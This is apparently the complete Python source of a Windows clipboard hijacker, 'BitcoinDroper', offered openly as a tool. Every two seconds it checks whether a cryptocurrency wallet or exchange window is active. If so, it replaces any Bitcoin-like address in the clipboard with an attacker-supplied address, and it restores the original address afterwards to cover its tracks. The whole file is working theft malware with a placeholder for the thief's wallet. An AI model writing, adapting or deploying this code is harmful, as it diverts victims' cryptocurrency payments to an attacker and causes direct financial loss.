# Coded By : Ismael Al-safadi

from win32gui import GetWindowText, GetForegroundWindow
from pyperclip import copy
from re import findall
from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard
from time import sleep
class BitcoinDroper:
    """
    class for spoofing Bitcoin Wallet address .

    Methods :
        check_active_window : for check active window.

        check_bitcoin_wallet : This method will check if the copied data right now
        is as Bitcoin Wallet address   or not.

        return_copied_wallet : this function will return the old address .

        spoof_wallet : Function for change address to your.

        get_old_wallet : Function for getting the old address .

        spoofing_done : Function to show if spoofing done or not .

    """
    def __init__(self):
        # You can add many of bitcoin wallets names into the list
        self.list_of_btc = ['blockchain','exodus','coinbase','electrum' , 'bitcoin','bitstamp']
        self.destination_address = "Your Bitcoin address wallet"
        self.done  = False
    def check_active_window(self):

        window = (GetWindowText(GetForegroundWindow())[0:44])
        window = str(window).lower()
        if any(ext in window for ext in self.list_of_btc):
            return True
        else:
            return False
    def check_bitcoin_wallet(self):
        OpenClipboard()
        data = GetClipboardData()
        CloseClipboard()
        l = findall('[a-zA-Z0-9]{34}', data)
        if len(l) == 1:
            return True
        else:
            return False
    def return_copied_wallet(self):
        copy(self.old_wallet)

    def spoof_wallet(self):

        copy(self.destination_address)
        self.done = True
    def get_old_wallet(self):
        OpenClipboard()
        self.old_wallet = GetClipboardData()
        CloseClipboard()
    def spoofing_done(self):
        return self.done

a = BitcoinDroper()
while True:
    if a.check_active_window() and a.check_bitcoin_wallet():
        if not a.spoofing_done():
            a.get_old_wallet()
        a.spoof_wallet()

    elif a.spoofing_done():
        if  a.check_bitcoin_wallet()  and not a.check_active_window():
            a.return_copied_wallet()
    sleep(2)

